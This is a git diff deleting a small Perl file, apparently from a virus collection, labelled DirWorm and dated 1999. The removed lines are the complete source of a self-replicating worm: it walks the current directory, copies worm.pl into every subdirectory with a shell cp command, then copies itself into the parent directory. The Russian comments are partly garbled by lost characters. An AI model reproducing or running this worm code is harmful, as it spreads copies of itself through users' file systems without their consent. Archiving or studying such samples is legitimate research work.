diff --git a/Perl/Virus.Perl.DirWorm b/Perl/Virus.Perl.DirWorm
deleted file mode 100644
index b2b7fc5b..00000000
--- a/Perl/Virus.Perl.DirWorm
+++ /dev/null
@@ -1,13 +0,0 @@
-# DirWorm by -Byst- (c) 1999
-while (<*>)                     # Ищем все ф йлы в текущей директории
-{
-  if (chdir($_)) {              # Если это директория - сменить текущую н  нее
-   @command = ("cp ../worm.pl ./worm.pl > /dev/null");
-   system @command;             # Вызов системной функции копиров ния ф йл 
-   chdir("..");                 # Возр щ емся обр тно в н ч льную директорию
-  }
-}
-@command = ("cp ./worm.pl ../worm.pl");
-system @command;                # Копируем тело в родительскую директорию
-
-